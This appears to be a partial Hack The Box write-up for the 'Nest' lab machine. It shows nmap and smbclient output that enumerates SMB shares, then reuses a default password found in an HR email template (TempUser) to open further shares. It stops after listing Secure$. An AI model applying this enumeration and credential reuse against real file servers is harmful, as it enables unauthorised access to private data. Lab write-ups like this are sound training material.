HTB Nest Walkthrough
HTB Nest Walkthrough (nanobyte)
123456789nmap 10.10.10.178 Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-28 09:25 CST Nmap scan report for 10.10.10.178 Host is up (0.043s latency). Not shown: 999 filtered ports PORT STATE SERVICE 445/tcp open microsoft-ds Nmap done: 1 IP address (1 host up) scanned in 5.41 seconds123456789101112smbclient -L //10.10.10.178Enter WORKGROUP\root's password: Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share Data Disk IPC$ IPC Remote IPC Secure$ Disk Users Disk SMB1 disabled -- no workgroup available12345678910111213smbclient \\\\10.10.10.178\\UsersEnter WORKGROUP\root's password: smb: \> dir . D 0 Sat Jan 25 17:04:21 2020 .. D 0 Sat Jan 25 17:04:21 2020 Administrator D 0 Fri Aug 9 10:08:23 2019 C.Smith D 0 Sun Jan 26 01:21:44 2020 L.Frost D 0 Thu Aug 8 12:03:01 2019 R.Thompson D 0 Thu Aug 8 12:02:50 2019 TempUser D 0 Wed Aug 7 17:55:56 2019 10485247 blocks of size 4096. 6449754 blocks available123456789101112131415161718192021smbclient \\\\10.10.10.178\\DataEnter WORKGROUP\root's password: Try "help" to get a list of possible commands.smb: \> dir . D 0 Wed Aug 7 17:53:46 2019 .. D 0 Wed Aug 7 17:53:46 2019 IT D 0 Wed Aug 7 17:58:07 2019 Production D 0 Mon Aug 5 16:53:38 2019 Reports D 0 Mon Aug 5 16:53:44 2019 Shared D 0 Wed Aug 7 14:07:51 2019 10485247 blocks of size 4096. 6449754 blocks availablesmb: \Reports\> cd ..\Sharedsmb: \Shared\> dir . D 0 Wed Aug 7 14:07:51 2019 .. D 0 Wed Aug 7 14:07:51 2019 Maintenance D 0 Wed Aug 7 14:07:32 2019 Templates D 0 Wed Aug 7 14:08:07 2019 10485247 blocks of size 4096. 6449754 blocks available12345678910111213smb: \Shared\Maintenance\> dir . D 0 Wed Aug 7 14:07:32 2019 .. D 0 Wed Aug 7 14:07:32 2019 Maintenance Alerts.txt A 48 Mon Aug 5 18:01:44 2019 10485247 blocks of size 4096. 6449754 blocks available smb: \Shared\Maintenance\> get "Maintenance Alerts.txt"getting file \Shared\Maintenance\Maintenance Alerts.txt of size 48 as Maintenance Alerts.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)root@bhax0r:~# cat 'Maintenance Alerts.txt'There is currently no scheduled maintenance work1234567891011121314151617181920212223242526smb: \Shared\Templates\HR\> dir . D 0 Wed Aug 7 14:08:01 2019 .. D 0 Wed Aug 7 14:08:01 2019 Welcome Email.txt A 425 Wed Aug 7 17:55:36 2019 10485247 blocks of size 4096. 6449754 blocks availablesmb: \Shared\Templates\HR\> get "Welcome Email.txt"getting file \Shared\Templates\HR\Welcome Email.txt of size 425 as Welcome Email.txt (2.4 KiloBytes/sec) (average 0.9 KiloBytes/sec)root@hax0r:~# cat 'Welcome Email.txt' We would like to extend a warm welcome to our newest member of staff, <FIRSTNAME> <SURNAME>You will find your home folder in the following location: \\HTB-NEST\Users\<USERNAME>If you have any issues accessing specific services or workstations, please inform the IT department and use the credentials below until all systems have been set up for you.Username: TempUserPassword: welcome2019Thank you1234567891011121314151617smbclient \\\\10.10.10.178\\Users -U TempUserEnter WORKGROUP\TempUser's password: Try "help" to get a list of possible commands.smb: \> cd TempUsersmb: \TempUser\> dir . D 0 Wed Aug 7 17:55:56 2019 .. D 0 Wed Aug 7 17:55:56 2019 New Text Document.txt A 0 Wed Aug 7 17:55:56 2019 10485247 blocks of size 4096. 6449754 blocks available smb: \TempUser\> get "New Text Document.txt"getting file \TempUser\New Text Document.txt of size 0 as New Text Document.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)root@hax0r:~# cat 'New Text Document.txt' 123456789101112smbclient \\\\10.10.10.178\\Secure$ -U TempUserEnter WORKGROUP\TempUser's password: Try "help" to get a list of possible commands.smb: \> dir . D 0 Wed Aug 7 18:08:12 2019 .. D 0 Wed Aug 7 18:08:12 2019 Finance D 0 Wed Aug 7 14:40:13 2019 HR D 0 Wed Aug 7 18:08:11 2019 IT D 0 Thu Aug 8 05:59:25 2019 10485247 blocks of size 4096. 6449738 blocks available Last updated